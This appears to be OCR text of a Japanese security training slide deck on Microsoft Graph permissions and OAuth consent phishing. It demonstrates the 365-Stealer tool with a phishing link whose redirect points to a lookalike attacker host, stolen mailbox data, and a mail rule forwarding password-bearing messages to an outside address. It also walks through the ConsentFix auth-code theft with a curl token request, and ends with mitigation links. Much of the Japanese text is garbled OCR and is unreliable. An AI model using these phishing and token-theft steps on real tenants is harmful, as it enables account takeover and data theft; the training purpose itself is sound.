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Graph Explorer : Graph API1& &3 5077V s5r—a v

2%  https://developer.microsoft.com/en-us/graph/graph-explorer

=- Microsoft | Microsoft Graph Dev Center Explore . Graph Explorer  Docs APl .  Learn ..  Developer Program .. Support All Microsoft .
Tenant ol
Graph Explorer & o 8 0 218 |::|
13 New to Graph Explorer? E
Graph Explorer is a developer tool that lets you learn about Microsoft Graph APls. Use Graph Explorer to try the APls on the default sample tenant to explore capabilities. Follow <
| 2 sample queries a step-by-step tutorial C =
= API Explorer GET o vio v https://graph.microsoft.com/v1.0/me B =

©) History % Request Body Request Headers @ Modify Permissions p Access token

Q. Search sample queries

@ See more queries in the Microsoft Graph AP| Reference docs.

242 search results available.

~ L&

-]
»

& aso7ozrau B
@ 540707710 R—%) £
@& as05E E]
@ ssox-L B
@ BHOR S TROTRTOEE 3 G Response preview ) Response headers [J], Code snippets [ Toolkit component &) Adaptive cards 3
@ gsoELTASLRGOEE B B
& asota £
G =< 7ToDoERZURR B
> A=H— 20
> IN=F 3
> Qutlook X—=JL 10
> Outlook X=JL (X—5}k) 1
> Outlook # L 25— 7
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Graph Explorer

| 2 sample queries
{= API Explorer
O History

Q_ Search sample queries

@ See more queries in the Microsoft Graph APl Reference docs.

242 search results available.

v LB 8
1) ®
@ 82070771 (R—2K) ®
@ s505H B
@ arox-u ®
@ EHDESATROIXTORE ®
@ S20BHTAGRLRGOTE B
@ as0Ld B
G A(ToDo%RZ URE ]

v A=H-— 20

@ TFANERL TV FRO—HF—END > )
rLET (DR

@ BPOUROHBT B
@ HEEROIRTOI—HF— B
D EEROIRTOF R+ 21— — B

M AT N ot h s k2 D
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New to Graph Explorer?

8

Tenant

& 0 T,

Graph Explorer is a developer tool that lets you learn about Microsoft Graph APls. Use Graph Explorer to try the APIs on the default sample tenant to explore capabilities. Follow X

a step-by-step tutorial C

GET v v10 v Ih(tps://graph.m:crosoft.com/v‘l.O/mel @ @
> Request Body Request Headers () Modify Permissions /2 Access token
© OK-200-188ms X
G Response preview a Response headers  [3}, Code snippets €2 Toolkit component &) Adaptive cards )
v
“@odata.context”: “"https://graph.microsoft.com/v1.8/$metadatas#users/$entity”,
“"@microsoft.graph.tips”: "This request only returns a subset of the resource’s properties. Your app will need to use $select to return
non-default properties. To find out what other properties are available for this resource see https://learn.microsoft.com/graph/api/ o
resources/user”,
“businessPhones”: [],
“displayName": "testuserel",l
“givenName": null,
"jobTitle": null,
“mail”: “testuser@1l@
"mobilePhone™: null,
“officelocation”: null,
“preferredLanguage”: null,
“surname”: null,
“userPrincipalName”: "testuser®
“id":
¥
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Tenant
Graph Explorer S pmmm® 2 To
@™ New to Graph Explorer?
Graph Explorer is a developer tool that lets you learn about Microsoft Graph APIs. Use Graph Explorer to try the APls on the default sample tenant to explore capabilities. Follow X
I 2 sample queries a step-by-step tutorial C
{= API Explorer GET vio v I https://graph.microsoft.com/v1.0/users I B =
O History E> Request Body Request Headers () Modify Permissions /2 Access token
Q, Search sample queries -
@ See more queries in the Microsoft Graph API Reference docs.
242 search results available.
-~
v RL®IC 8
@ as070771L ®
@ 85070771l (K—%) ®
@ as05H B
BADA—IL ®
L © Forbidden - 403 - 159 ms Either the signed-in user does not have sufficient privileges, or you need to consent to one of the permissions on the Modify permissions tab X
@ E90KSATROIATONE ®
GET H90mN TASRLRFOME @ G Response preview ;j Response headers [,"' Code snippets 2 Toolkit component (&) Adaptive cards &3
@ s50L3 B
@ <(ToDo%2Y URF U
v “error”: {
v D=tfm 20 “code": "Authorization_RequestDenied”,
"message”: "Insufficient privileges to complete the operation.”,
@ FAFERLT T bAOI—YF—FHT> B v innererror : |
FLET 0 “date": "20826-86-85T18:23:08",
@ BROBEOST B "request-id": "aad8c57d-edce-4084-bd54-464c73a8%e2a",
“client-request-id”: "5f99bae3-bef5-b486-ebl18-dad5f32444c4” _
| swmos~<toa—v-| B )
}
B EEAOIRTOFIk 21—H— B }
L MM sE@ns bk 1 —H—n#Ehr kA B - v
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[User.ReadBasic.All| &7 7 XFrRI~NDRIE

S% . https://learn.microsoft.com/ja-jp/graph/permissions-reference#userreadbasicall

Tenant
Graph Explorer 8 - 8 O T
™ New to Graph Explorer?
Graph Explorer is a developer tool that lets you learn about Microsoft Graph APIs. Use Graph Explorer to try the APIs on the default sample tenant to explore capabilities. Follow X
| © sample queries a step-by-step tutorial O
= API Expl GET 1.0 https: i 2 >
= plorer v V1. v ttps://graph.microsoft.com/v1.0/users B & > Run query
O History B> Request Body Request Headers|] () Modify Permissions | /2 Access token
Q_ Search sample queries ) ) ) . .
One of the following permissions is required to run the query. If possible, consent to the least privileged permission.
g o Admin consent -
@ See more queries in the Microsoft Graph APl Reference docs. Permission Description ® reciurod Status (D Consent type '
242 search results available. A-H—-0KbDIl. 77 THEHERDOD
= a —H—-0T7a7 71 TONT1 ORENGL
v q—H— 20 User.ReadBasic.All () v FORSMDERITTESLSICLET, K No
FARERCTFYMAOI-F-ENDY o Rf. K. X—L PELR. SHENSENE
@ FLET EOH) L
@ EROEEOET ) AgentldUser.ReadWrite.All Consent description unavailable No
o

@ EBRADTATOL—F— B AgentldUser.ReadWrite.ldentityParentedBy Consent description unavailable No v

@ BERAOTATOY R 27— © Forbidden - 403 - 302 ms Either the signed-in user does not have sufficient privileges, or you need to consent to one of the permissions on the Modify permissions tab X

@D HEEROSIF I-F-OBENIIITS - o 0 - -

Response preview Response headers ., Code snippets Toolkit component Adaptive cards K
o Finance BROTATOI—Y—HEMAE ———— pIoe ’ il & ° . 3
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Graph Explorer
Microsoft Corporatior] €
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Read all users' basic profiles

v View your basic profile

~~ Maintain access to data you have given it access to
NSOFPHCAREIERIANDCLR. Y-EARIBRAET 1) (S—IcBT3
ERTHEENTLBEENIOF N TS EATILEFTALEER
LET. cNSD7HEAFE] 2 httpsy//myapps.microsoftcom TEETEET.
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Graph Explorer 8 Te"ﬁ“‘ 8 O T,

® New to Graph Explorer?
Graph Explorer is a developer tool that lets you learn about Microsoft Graph APIs. Use Graph Explorer to try the APls on the default sample tenant to explore capabilities. Follow X
| ) Sample queries a step-by-step tutorial C
{= API Explorer GET v vio v https://graph.microsoft.com/v1.0/users = Run query
—_—
O History > Request Body Request Headers () Modify Permissions /2 Access token
Q_ Search sample queries -
@ See more queries in the Microsoft Graph API Reference docs.
242 search results available.
a
v RLBK 8 © OK-200- 140 ms X
@ aror7ozraL & :
G Response preview a Response headers [’,’ Code snippets G‘, Toolkit component &) Adaptive cards &3
@ BA0O707 71l (KR—25R) E] S —
4 a)'f“
@ 8205R % "mobilePhone"”: null,
@ BaDX—IL "officelLocation™: null,
“preferredLanguage”: null,
@ 850FS1TROIXTOTE B “surname”: null,
"userPrincipalName"”: "testusere4.guest@
@ s20mMHTARLRPOTE ® "id":
@ s50L8 ® 5 4
L
@ 24 ToDo 222 YRk @ "businessPhones™: [],
"displayName"”: “"trainingl”,
o I, 20 "givenName": null,
) R i ” "jobTitle": null,
e e enon g reai1”: “sratningsc
FLET (E0H “"mobilePhone”: null,
@ s50HEOHBT ® "officeLocation": null,
"preferredLanguage”: null,
@ Iiﬁ&?‘}@'ﬁ"\'f@l—ﬁ‘—l B "surname”: null,
"userPrincipalName”: "traininglg@
D HEEROTRTOYF R+ 21— — B Ko
3
@ $S@ROY2FI-F-ORENIVETE B 2
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Microsoft Entra IDFR— 42 IW>T 2 —7S5A X777 V45— v

4L =575 X770r—>a>y > Toa-FSAXTFIUT—2aY
s TOR—=TSAXTFFIVr—=o3> | IRTO7IIVT—33>
.

o« E s r—-2ay (O s L doo-k (@oat-n @ FLbi-oiEs I W G B - - T PR 1 0% ) 7 ¥ =T
> EE
. Microsoft Entra 74> M 1D JO/ (49— LTEET3L3(CRESNTVS. CESOEBAOT - 23385 T, JILI—IE. 8ELET.

R

R TERENTWBT IV 23V 0OUAME. P -2 0B RB0ET.
B IRTOF -3

g J AR— RyhD—4 31D R FIr—2auoit. FIVr—33s 7570—b 1D, #idAd v | FIVG—23omiEE == IX9-T54X FWr—33> X FIWr—2az 1D
7 6 BOFIVr— SN RONDELL

& 1-T-=E &8 T ATIIOMID Fo—-23> ID -4~ URL = L PUFIEORE

& Y- . Graph Explorer _ de8bc8b5-dofe-48b-- https://developerm-- 2026/6/8 O 7H7JEES
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Graph Explorericfi&5 S hW7-7 7 & R 5 A]

X < ~" Review permissions O Refresh 2’ Got feedback?

K PAEDRERLAER = ..
Permissions

s JOEZa=>4 o4

N E‘ \Orchestrating a brighter world

v BR
Below is the list of permissions that have been granted for your organization. As an administrator, you can grant permissions to this app on behalf of all users (delegated permissions). You can also grant permissions directly to this app
:|' Toi5+ (app permissions).
Learn more 2
& e
You can review, revoke, and restore permissions.
& O-)LLEEE Learn more (3
B 2-9--7 Delegated | =FEI N7 7€ XFHT]
Grant admin consent for t3pwn E Ega E cJ A H
D UL A
3 Joksa=4 Admin consent User consent
C oLIT-Ex
L Search permissions
v TE2T4 APl name Claim value Permission Granted through Granted by
- 5
& RAFEEPICA Microsoft Graph (5)
o
i POEZNFT] b o : : . .
“ W Microsoft Graph openid Sign users in Delegated User consent 1 total user(s)
QO F-7L0iESE _ : . :
Microsoft Graph profile View users' basic profile Delegated User consent 1 total user(s)
PO74ET4 _ o _
Microsoft Graph User.Read Sign in and read user profile Delegated User consent 1 total user(s)
D Y1104 _ _ o o
Microsoft Graph offline_access Maintain access to data you have given it access ...  Delegated User consent 1 total user(s)
4 ERRRESESR
Microsoft Graph User.ReadBasic.all Read all users’ basic profiles Delegated User consent 1 total user(s)
B =505
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21EXED T U 2 REFR]

FEINT- T7Vr—3vn
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a—HoEE L TIERZ{ER T7Vr—ave L CHEREZER
&R a—YDIER g
=1 —ERDIERZ R E 21— Y HRIEAEE EEEDHADRIEAHE
| [Mail.Read| @ [Mail.Read| @
) BESNFT &£ RFA FFY -3y DT 7 A
FRELEaA-—YD FEE LTI —YD
T X — )L % 5T IA P A] BE e A — L % S A IA M A BE

5%
. . https://learn.microsoft.com/ja-ip/graph/permissions-overview _
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£% . https://github.com/AlteredSecurity/365-Stealer

365-STEALER Home JWT Decoder admin @v

- I BS-STEALER -
Turn On Auto Refresh 365-Stealer Configuration Run 365-Stealer Shutdown 365-Stealer Refresh All User's Data

Index

Folders (0)

List all User from victim's tenant

Display Name... Email Address... User Id...

Export Users List

Search into all victim's mails
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Github: https://github.com/alteredsecurity/365-Stealer

Phishing Link => T
I

Home page running on port:

* Serving Flask app '365-Stealer’
* Debug mode: on

* Running on all addresses (0.0.0.0)
* Running on https://127.0.0.1:443
* Running on https://192.168.163.147:443

Press CTRL+C to quit
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- Export Users List

llllllllll ing' @ [
testuser03_adm testuser03_adm G testuser03_adm O _
testuser01 testuser01 @- testuserﬂ‘l -

N E‘ \Orchestrating a brighter world © NEC Corporation 2026 43



RIE74 vV

N E‘ \Orchestrating a brighter world

. WEE -2

YITE

WEE-HEml

wEE-I—Y

wE2E-FBR1

wEE-EEE
WEE-ER2

© NEC Corporation 2026

44



RE714 vV TE-KREE-$£HE2(1/2)
ROZ—5y PHEBELRELT, *—NBEEOBESNLT 7 L AHTEAERLLT 75— 3 ¥ CRE

https://learn.microsoft.com/ja-ip/graph/permissions-reference#mailsend
https://learn.microsoft.com/ja-ijp/graph/permissions-reference#mailboxsettingsreadwrite

74 [ 77 288 > securityCheck
- SecurityCheck | API 071 A5%0] »
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FBTFIAI
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3 Authgntication
P RN P RFE]
! EmREC- Ik PIVr-33%. BEOTOUAD—IRELTI- Y- D ERENSPITAHF NI SENTVZ8S. APl 2FURT TN KBEINET . MERNLPIUAFIO—BICE. P -33C
Ty BERTATOPICAGCIEEDILENBNET . F/UAHCILAEICBTIEANESE
- APl OPIERKE] + Prezraoen v IR :-E2E088E5AET
& API /2R3 APl / POCZEFBINEM . &2l o] EREORESfOE R
B 7ho-1 \v Microsoft Graph (4)
& s Mail.Read EFHESH  Read user mail WA
& D-JWERSE Mail.Send BEFEH Send mail as a user (AR 3
m 3=Jz2h MailboxSettings.ReadWrite Z4F&®  Read and write user mailbox settings (ATAY 3
> YR+ NINZa-FY User.ReadBasic.All BEEH  Read all users' basic profiles WIR
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RODZ=47y PICHLT, RAEZ714 v %817

[E%] Miﬂﬂﬂﬂf‘t?ﬁ'ﬁ':ﬁf]‘-A@*E@T‘)tzf‘fﬁm @ —A\All Employees (unrestricted) g‘ DO A=ILEEH

) attacker01 © < EfE & 2EEE ~Ex O [
® 5% @ testuser03_adm 2026/06/00 () 17:15

LWOBTHIBAWEEEHDNHESTTVWET,

EEFROTHI MR T2EBCIIEGAEMI O 1 1 o EHTNE L.

HEF © 2026/06/0917:10:11
El/Hbiag © XXXX
FINT 2 D Linux

COHYA A UNILETEDDEWNEES, TR IEDTAI FOTOEXFR (ERHEEE) ExR T I ETABLATIEREZT AV I T3 IENTEET,

Y7POEAFRORERIZIZES
https://login.microsoftonline.com/common/oauth2/authorize?response _type=code&client id=EGG

_&scDpe:https%SA%EF%ng@ph.ml'crosoft.com%EF.default+onenid+0ﬁLine access+&redirect uri=https%3A%2F%2Fmlcrosoftsecurity.local%2Flogin%2Faut
horized&response mode=guery
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e 74 v v HAURLIEMicrosofttIERR K X A4 U HMERAI NS -0, FREBICELTHEEL,F 77X

(2] Microsoft7 AV > FADFEBLT I/ AZEBH W —ARAll Employees (unrestricted) [ET COA=ILEERN

attacker01 © S EE & 2E0EE B ©
® %% @ testuser03_adm 2026/06/09 (k) 17:15

WOBZTHBWEEEBDHESTETWVET,
BEROTAV Y MIHT L EREIIRCZEFDOON A 1 O REEhEL .

HBE 2026/06/09 17:10:11
E /i o oo
F IV A I Linux

DY A A DY AEWES, FRUYIPEDTHhO Y O TFo 1 A0 (EiERR) #7733 TABRTFI©
AETJOvITEENTEET,

Y7o RAFRIOERIZICES

h_ttis:,r_',a_‘Ioi'm.microsoﬂonline.com:"common,r'oauthlfa uthorize?response_type=code&client id_

&scope=https%3A%2F%2Fgraph.microsoft.com%2F default+openid+offline_access+&redirect_uri=https3A%2F%2 Fmlicrosofts

[ su.EsLaLe. || ewwaian. || 2@Las. |
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Microsofttt 2% L 7=BZEBE P MERR L =Y 1 F AR

B8 Microsoft

testuser03_ad m@_
FEREINTWS 71 AETO]

SecurityCheck
FRFER

COFTUr—33>(3. Microsoft £ B EOEEIC
SOTLAHSNEEOTREBDEE A

COP T CHERTITAEFAL

~ Read your mail

~ Send mail as you

“ Read and write to your mailbox settings

~ Read all users" basic profiles

[[] mmormeLTtASTS

ZNBOFIE AT AR AN LR, H-EAFIRREIETF 12—
[CEETASIATEESN TVBEBDCCOF N T — SR AT 5L EET
AL EEELET . BSERITIEDOFBBRAADUL IHRITT
L TERASNTVER A INS07FCASFAIR
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HEEEDIPRZRICYVLAL Y T3 & T365-StealerdCLIEICEERIO— FARTR

.168.163.147 - - [09/Jun/2026

.168.163.147 [09/Jun/2026 17:58:22] “"GET / HTTP/1.1" 200 -

.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/vendor/bootstrap/css/bootstrap.min.css HTTP/1.1" 200 -
.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/vendor/icofont/icofont.min.css HTTP/1.1" 200 -
.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/vendor/boxicons/css/boxicons.min.css HTTP/1.1" 200 -
.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/vendor/venobox/venobox.css HTTP/1.1" 200 -

.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/vendor/owl.carousel/assets/owl.carousel.min.css HTTP/1.1" 200 -
.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/vendor/aos/aos.css HTTP/1.1" 200 -

.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/css/style.css HTTP/1.1" 200 -

.168.163.147 [09/Jun/2026 17:58:23] “"GET /static/assets/vendor/animate.css/animate.min.css HTTP/1.1" 200 -
.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/vendor/jquery/jquery.min.js HTTP/1.1" 200 -

.168.163.147 [09/Jun/2026 17:58:23] “"GET /static/assets/img/about.jpg HTTP/1.1" 200 -

.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/vendor/bootstrap/js/bootstrap.bundle.min.js HTTP/1.1" 200 -
.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/vendor/jquery.easing/jquery.easing.min.js HTTP/1.1" 200 -
.168.163.147 [09/Jun/2026 17:58:23] “"GET /static/assets/vendor/php-email-form/validate.js HTTP/1.1" 200 -
.168.163.147 [09/Jun/2026 17:58:23] “"GET /static/assets/vendor/jquery-sticky/jquery.sticky.js HTTP/1.1" 200 -
.168.163.147 [09/Jun/2026 17:58:23] “"GET /static/assets/vendor/venobox/venobox.min.js HTTP/1.1" 200 -
.168.163.147 [09/Jun/2026 17:58:23] “GET /static/assets/vendor/waypoints/jquery.waypoints.min.js HTTP/1.1" 200 -
.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/vendor/counterup/counterup.min.js HTTP/1.1" 200 -
.168.163.147 [09/Jun/2026 17:58:23] “"GET /static/assets/vendor/owl.carousel/owl.carousel.min.js HTTP/1.1" 200 -
.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/vendor/isotope-layout/isotope.pkgd.min.js HTTP/1.1" 200 -
.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/vendor/aos/aos.js HTTP/1.1" 200 -

.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/js/main.js HTTP/1.1" 200 -

.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/img/slide/slide-1.jpg HTTP/1.1" 200 -

.168.163.147 [09/Jun/2026 17:58:23] "GET /static/assets/vendor/boxicons/fonts/boxicons.woff2 HTTP/1.1" 200 -
A168.163.1U7 [89/3un/2026.17:58:23]1 _"GET /static/asscts/img/logo.PHG HTTP/1.1" 200 -

Looks like Victim testusero3_adnei
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365-STEALER Home JWT Decoder i @_

>
()
- I BS-STEALER

Turn On Auto Refresh 365-Stealer Configuration Run 365-Stealer il Shutdown 365-Stealer Refresh All User's Data

Index

Folders (2)

B testuscoor o I Get New Token | Actions ~ | peete |
— .

Files (1) Size Last Modified

e 2.16K8 Jun 8th 2026 at 7:46am
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RB7 4y Y I TE-REET
- HEHIE [Mail.Read] D77 XFRICERE
+ 365-Stealer L THEEDREA -V Z2RHE

VWob THIBWEREHDA LS TEVWET,

FEROTHI Y RT3 ER L ZBGZEBRD ST 1 > hBHEINE LT

A B : 2026/06/09 17:10:11

/s © xxxx

FINA A I Linux

ZOY A A DDA BVWES, FRUVIEDTHT Y bOTIE R (EERR) *RITACETABLRT7ZE AR 7OV IT 3 EWTEET.
Y7o AFAOERIZICES

https://login.microsoftonline.com/common/oauth2/authorize ?response_type=code&client_id-EG_G_G_G_G_G_GGGG
scope=https%3A%2F%2Fgraph.microsoft.com%2F.default+openid+offline_access+&redirect_uri=https%3A%2F%2Fmlcrosoftsecurity.local%2Flogin%2Fauthorized&response_mode=query

6.5ubject:Re: /{27 — Kl 2WTFrom:  testuser01 G NGEGGG
ToRecipients: testuser{B_adm_
CcRecipients: []
BccRecipients: []
ReplyTo: []
Flag: notFlagged
HasAttachments: False

HONESTTVET,
Oy TEELT

ZE A testuserd3_adm <testuser03_adm G NNIGE
FE(EHF: 202656888 11:02

SBYE: testuser0l <testuser01_
HF#: KX T—FIZ2WVT

—B AN - FERTLEL
INZAT— B XXX

NE‘ \Orchestrating a brighter world © NEC Corporation 2026 53



RE7 1 v TE-REE-ERA24/4)

- #HEEIT [Mail.Send] [MailboxSettings.ReadWrite| O 7 7t RHFAIICAE
- 365-StealerE THEE L L TA—ILEE, A —ILIL—ILDRTEBIND AIHE
e RET7 4 vV IPETRRAXA—ILFERRICERR

Actions Tab

To. TANVEER BIRENTUERA { 2

"displayName": "RuleName",
Subject.. "sequence”; 2,

“isEnabled": true,
Type message "conditions™: {

"bodyContains"™: [

"Password"

1

b

"actions™: {

"forwardTo": [

{
"emailAddress": {
"name": "Email test",
2 "address™ "dummy@domain.com”
}

TPAVEER  ERENTVEERA }

b | V

|
Refrence link=> Message Rule
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« https://learn.microsoft.com/ja-ip/entra/identity/enterprise-apps/protect-against-consent-phishing

R

\\

s 77V DOREMEICET HRE
« https://learn.microsoft.com/ja-jp/security/operations/incident-response-playbook-app-consent
« Microsoft 3656 TRIERREFFA]ZH L TEET %
« https://learn.microsoft.com/ja-jp/defender-office-365/detect-and-remediate-illicit-consent-grants
- B 7 OAuth 77V 2 A& L TIB1ES %
« https://learn.microsoft.com/ja-jp/defender-cloud-apps/investigate-risky-oauth
« [Manage OAuth apps] (OAuth 77U O & 18)
« https://learn.microsoft.com/ja-jp/defender-cloud-apps/manage-app-permissions
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[£#] ConsentFix-BEEA X —
Push Securitytt ’# 52 L 7-ConsentFix D EE A X —

< 8 [l < site redacted Q

Y

Verify you are human by completing the action below.

Paste URL to allow access

Sign in to your Microsoft account to verify your
identity and after successful authentication, copy
the URL received and paste it below.

< C A I login.microsoftonline.com/or... | Q 2

Legit MS login page

Microsoft Azure

BS Microsoft

Pick an account

g] victim@; pany.com
Signed in

+ Use another account

< C n | localhost:8400/?code=1.AXUARVR... ] 2

URL containing OAuth code
(what the attacker wants)

This site can’t be reached

localhost refused to connect.

Try
¢ Checking the connection

¢ Checking the proxy and the firewall

ERR_CONNECTION_REFUSED
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Victim pastes URL into original sign-in page

H 88 https://pushsecurity.com/blog/consentfix/
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[£#] ConsentFix-FEHEIR

o NEBEERI ORAINSE Z EHTE BConsentFixDFEIEZAzure CLIO 77V 45— 3 vID%IEE LBIR
- J&Z4L 2 FURLICIocalhostZIEEL7-IGETHELGBIP7FL XD HEBEAIO—-F &
TR M= RITHARE

< C ® localhost:1717/2code= BY Windows PowerShell X 3| -
PS C:%> curl.exe POST https://login.microsoftonline. Emn_.n"_-"'n.au_t_hE,.-" v2.0/token

CDOYA NMCTICATEEEA |

localhost TiEFINESSNFE LS

{"token_type":"Bearer"” "scope":"https://management.core.windows.net/user_impersonation https://management.core.windows.n
§ ™ = r -
et/.default”, "expires_in":U41608, "ext_expires_in":Ul68,6 "acces s_token":"
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[£#] ConsentFix-3%(1/4)

° ConsentFixti%ﬁﬁﬂ,m?ﬁ&J 75— 3 /’S:,L,\Fﬁ'd'% RIZE7 14 v 7 OMNERIIEMTEL
- ConsentFixiICERAINBZE77Ur—a Il oWT TSR
* Entra ID First Party Apps & Scope Browser s#: nttps:/entrascopes.com/

o BRIREEBFADT77V5r—>3a v —ER7Y N EERL, 2—FEY ¥ TE2HAEICTS

. 1§|J : Azure CL' &% | https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix

Graph
t Graeh!

F-'--Hi-llll'-"l"-'r to suppress

NE' \Orchestrating a brighter world © NEC Corporation 2026 73


https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix
https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix
https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix
https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix
https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix
https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix
https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix
https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix
https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix
https://entrascopes.com/

[£#] ConsentFix-3&(2/4)
SEOREIZ LY. Azure CLICHI D RAa— FARITCE R o te T & AR

= & 2% login.microsoftonline.com/organizations/oauth2/authorize?client_id=04b0779... %x ., @

Microsoft Azure

@8 Microsoft

Microsoft Azure CLI
BLIRSVERLAL, T4 21> PICRENRELELR,

AADSTS50105: Your administrator has configured the application Microsoft Azure
CLI {04b07795-8ddb-461a-bbee-0210e1bf7b46") to block users unless they are
specifically granted ("assigned’) access to the application. The signed in user
‘testuser0 1 @ s b'ocked because they are not a direct
member of a group with access, nor had access directly assigned by an
administrator. Please contact your administrator to assign access to this
application.
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[£E] ConsentFix-x15(3/4)
Azure CLIOFIH?MELA—HF Y —EER7U o NVICEIYH TS

Deletedlatel ime Id fopRolelo CreatedlateT ime princioalDisol
avhame

138 testuser]
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[£#] ConsentFix-xi&(4/4)
Azure CLIOFIHDPHEL A —HI(CFB ] a— FHRITEIN, Azure CLIZFABRIgETH 5 & & % HERR

< C @ locahost:1717/2cod=- |

COYA NI IOTCATEEFEA

localhost TiEmMES=NFE L.

REHELIZEN
o EGRTEZTD
o JOFETFATIA—INERETS

ERR_COMMECTION_REFUSED
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